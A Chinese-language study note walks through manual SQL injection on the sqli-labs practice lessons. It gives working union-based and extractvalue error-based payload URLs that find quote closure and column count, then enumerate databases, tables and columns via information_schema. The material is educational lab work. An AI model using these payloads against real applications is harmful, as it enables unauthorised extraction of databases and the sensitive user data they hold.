sql注入

做注入时的的步骤

1 . 判断注入的类型

如果是字符型的就需要考虑闭合符的问题

http://172.16.56.1/sqli/Less-1/?id=1 and 1=2 --+

2. 判断闭合的方式

如果是字符型,就先进行这一步

常见的闭合方式 ' ' " " (" ") ('')

http://172.16.56.1/sqli/Less-1/?id=1' and 1=2 --+

#正常执行了,证明闭合符是'

解释:1. 目标页面的原始 SQL 语句

SELECT * FROM 表名 WHERE id = '参数值'

这里的 '参数值' 表示参数被单引号(')包裹(字符型参数的常见处理方式)。当传入正常参数 id=1 时,SQL 语句为:

SELECT * FROM 表名 WHERE id = '1' 正常执行,查询id=1的记录

当输入 id=1' and 1=2 --+ 时,参数被拼接到 SQL 语句中,结果变为: SELECT * FROM 表名 WHERE id = '1' and 1=2 --+'

单引号(')的作用:原始 SQL 中 id='1' 的右单引号是闭合符,而注入语句中的第一个 ' 会提前闭合这个右单引号,使 1' 变成 '1'(即 id='1' 被提前闭合)。

and 1=2 的作用:这是一个逻辑判断(1=2 恒为假),用于改变 SQL 语句的执行结果。

--+ 的作用:-- 是 SQL 注释符(后面需跟空格),+ 在 GET 请求中会被解析为空格,因此 --+ 会将后续的原始 SQL 语句(如多余的 ')注释掉,避免语法错误。

原始 SQL 中参数是用单引号(')包裹的(即闭合符为 '),注入语句中的 ' 会精准闭合原始的单引号,后续的 and 1=2 --+ 会被正常解析为 SQL 逻辑,导致查询条件变为 id='1' and 1=2(因 1=2 为假,查询无结果),页面会显示异常(如无数据),但 SQL 语句本身语法正确,即 "正常执行"(无语法错误)。

若闭合符不是 '(比如是双引号 " 或无引号),注入的 ' 会导致 SQL 语法错误(如多余的单引号未闭合),页面会直接报错(如 "SQL 语法错误"),而不是 "正常执行" 后显示异常

3. 判断列数

数字型的第2步,字符型的第3步,

探测目标数据库表中包含的列(字段)数量。

order by 或者使用 group by

?id=1'order by 4;--+

?id=1'group by 3;--+

列数正常则正常显示;列数不对会进行报错

4. 判断回显的位置 使用联合查询

当我们判断列数时,让他们显示三列,但是他们显示了两列,就代表有一列是没有前端回显的,这是我们就要判断前端回显位是在那一列

SELECT 1, 2, 3 是一种特殊的查询方式,它的作用是直接返回指定的常量值,而不涉及任何数据表。

?id=-1'union select 1,2,3;--+

当显示的页面中出现了数字几,几就是回显位,出现了2,3;回显的位置是在2,3的位置

回显位指的是 数据库查询结果在页面上显示的位置。在联合查询(UNION SELECT)中,只有当注入的 SELECT 语句与原始查询的字段数一致,且部分字段的结果会被页面渲染展示时,这些展示位置才被称为 "回显位"。

?id=-1': -1 是一个无效的参数值,让原始 SQL 查询(如 SELECT * FROM 表名 WHERE id='-1')无法匹配任何数据,确保原始查询结果为空,避免干扰后续联合查询的输出。

单引号 ' 用于闭合原始 SQL 中包裹参数的引号

为什么要判断回显位?

回显位是后续注入的关键,确定哪些字段位置会在页面显示后,就可以在这些位置替换成查询敏感信息的函数(如 database() 查库名、user() 查用户名等),从而获取数据库信息。

5. 查看当前使用的数据库名称

?id=-1'union select 1,(database()),3;--+

注入点利用:?id=-1' 部分是为了闭合原查询中的 SQL 语句结构,-1通常是为了让原始查询返回空结果,避免干扰注入结果。

UNION 查询拼接:union select 1,(database()),3;--+ 是核心注入部分:

UNION 用于将两个查询的结果合并

select 1,(database()),3 构造了一个新查询,其中:

1和3是为了匹配原查询的列数(确保 UNION 查询格式正确)

database() 是 MySQL 的内置函数,用于返回当前数据库的名称,要放在回显位

;--+ 用于结束 SQL 语句并注释掉后续可能存在的代码,避免语法错误

执行结果:当这个注入语句被服务器执行时,数据库会执行拼接后的完整查询,由于原始查询(id=-1)可能返回空,最终会显示UNION后查询的结果,其中就包含了database()函数返回的数据库名称。

6.通过数据库名来获取信息
6.1: information_schema.schemata 系统表

核心前提:利用information_schema系统库

information_schema是 MySQL(5.1 及以上版本)内置的系统数据库,它存储了整个数据库服务器的元数据(即数据库、表、列等的结构信息)。黑客通过注入语句查询这个库,就能获取目标数据库的详细结构。

information schema Schemata

关键字段 schema_name(数据库名称)。

default_character_set_name:数据库默认的字符集。

default_collation_name:数据库默认的排序规则。

用途:通过查询information_schema.schemata表,可以获取 MySQL 服务器中所有存在的数据库名称;默认的字符集;默认的排序规则

Selsct ++++schema_name++++ FROM ++++information_schema.schemata++++ ;

从系统数据库 information_schema 的 schemata 表中

读取所有数据库的名称(schema_name 字段)

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

查询数据库的默认字符集(default_character_set_name)默认排序规则(default_collation_name)

从 information_schema.schemata 表中获取这两个字段的值,命令

http://127.0.0.1/sqli/Less-5/?id=-1' union select extractvalue("doc",concat('~',(select group_concat(schema_name) from information_schema.schemata))),2,3;--+

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,(select group_concat(schema_name, default_character_set_name, default_collation_name) from information_schema.schemata),3--+

这条命令会返回所有数据库的名称、对应的默认字符集(如 utf8mb4)和默认排序规则(如 utf8mb4_general_ci);

如果只想查看某个特定数据库(例如 testdb)的信息,可加上 WHERE 条件:

SELECT ++++schema_name, default_character_set_name, default_collation_name++++ FROM ++++information_schema.schemata++++ WHERE schema_name = 'testdb'; 替换为目标数据库名

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata WHERE schema_name LIKE '%SysYour%'),3--+

是通过模糊匹配,从目标数据库中查询所有名称包含 SysYour 字符的数据库名称,并将结果合并显示

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,

(select concat(schema_name,':',default_character_set_name,':',default_collation_name)

FROM information_schema.schemata LIMIT 0,1),3--+

这条注入语句会返回第一个数据库的名称、字符集和排序规则,

CONCAT(a, ':', b, ':', c):SQL 的字符串拼接函数,将三个字段的值用:连接成一个字符串(例如test_db:utf8mb4:utf8mb4_general_ci);

LIMIT 0,1:限制只返回第 1 条记录(0表示起始索引,1表示数量),因此最终只返回 "第一个数据库" 的信息。

6.2: information_schema.tables

information_schema.tables:存储所有表的信息;无论这些表属于哪个数据库

关键字段: table_schema table_type table_name

table_type 是 information_schema.tables 系统表中的一个字段,用于表示 "表的类型",即区分当前记录描述的是哪种类型的数据库对象(是真实表、视图还是其他类型)。

table_name 是字段名;存在于 information_schema.tables 这一系统表中,专门用于存储 "表的名称"。

table_schema 是数据库系统表中的一个关键字段,用于表示 "表所属的数据库名称"。它的核心作用是建立 "表" 与 "数据库" 之间的关联,帮助定位表所在的数据库

例:若 webapp 数据库中有一个 users 表,那么在 information_schema.tables 中,这条记录的 table_schema 是 webapp,table_name 是 users。 最常用的场景是筛选指定数据库中的表或列,避免查询到其他数据库的信息。

SELECT ++++table_name++++ FROM ++++information_schema.tables++++ WHERE table_schema = 'webapp';

WHERE table_schema = 'webapp':筛选条件,table_schema 字表

示表所属的数据库名称,这里指定只查询 webapp 数据库中的表。

用途:通过筛选table_schema(所属数据库),可以获取指定数据库中的所有表名

table_type 的详细解释

BASE TABLE:表示 "基础表",即真实存储数据的普通表(我们日常创建的表默认都是这种类型)。

VIEW:表示 "视图",是基于一个或多个表的查询结果创建的虚拟表,不实际存储数据,只保存查询逻辑。

SYSTEM VIEW:表示 "系统视图",是数据库系统自带的视图(如 information_schema 中的部分视图)。

主要用于筛选特定类型的表,避免查询到不需要的对象(如视图)。

  1. 只查询 "真实表"(排除视图)

需求:查询 webapp 数据库中所有真实存储数据的表(排除视图)。

SELECT table_name FROM information_schema.tables WHERE table_schema = 'webapp' -- 限定数据库

AND table_type = 'BASE TABLE'; -- 只保留普通表

通过 table_type = 'BASE TABLE' 筛选,结果中只会包含真实存储数据的表,不会出现视图。

  1. 只查询 "视图"

需求:查询 webapp 数据库中所有的视图(不看普通表)。

SELECT table_name FROM information_schema.tables WHERE table_schema = 'webapp' AND table_type = 'VIEW'; -- 只保留视图

用于单独管理或查看数据库中的视图对象(比如检查视图的定义是否正确)。

  1. 查看所有类型的表(用于对比)

需求:查看 webapp 数据库中所有表和视图,并区分它们的类型。

SELECT table_name AS '名称', table_type AS '类型' -- 显示表的类型FROM information_schema.tables WHERE table_schema = 'webapp';

核心用途:在查询表信息时,通过筛选 table_type 可以精准获取需要的对象类型(比如只查真实表,或只查视图)。

在 SQL 注入场景中:通常会用 table_type = 'BASE TABLE' 筛选出真实存储数据的表,因为这类表更可能包含敏感信息(如用户表、订单表)。

6.3: information_schema.columns

information_schema.columns:记录了当前 MySQL 服务器中所有表的所有列(字段)的基本信息。

关键字段:table_schema table_name column_name data_type:

Data(数据(dA ta))

http://127.0.0.1/sqli/Less-5/?id=-1' union select extractvalue("jdf",concat("~",(select group_concat(column_name) from information_schema.columns where table_name='COLLATIONS'))),2,3;--+

相关推荐
清水白石0085 小时前
Fixture 的力量:pytest fixture 如何重新定义测试数据管理
数据库·python·pytest
Rick19937 小时前
如何保证数据库和Redis缓存一致性
数据库·redis·缓存
那个松鼠很眼熟w7 小时前
2.获取数据库连接
数据库
_ziva_8 小时前
5 分钟搭建 CSV 数据问答系统:LangChain + LLM 实战教程
jvm·数据库·oracle
JiaHao汤9 小时前
MySQL SQL 性能优化实战指南
sql·mysql·性能优化
dust_and_stars9 小时前
APT vs Snap vs Flatpak 核心对比表
运维·服务器·数据库
念越10 小时前
MySQL报错:Column count doesn‘t match value count at row 1 解决方案(超详细)
数据库·mysql
SmartBrain11 小时前
FastAPI实战(第二部分):用户注册接口开发详解
数据库·人工智能·python·fastapi
倔强的石头_12 小时前
一卡通核心交易平台的国产数据库实践解析:架构、迁移与高可用落地
数据库
9523612 小时前
MySQL存储过程和触发器
数据库·mysql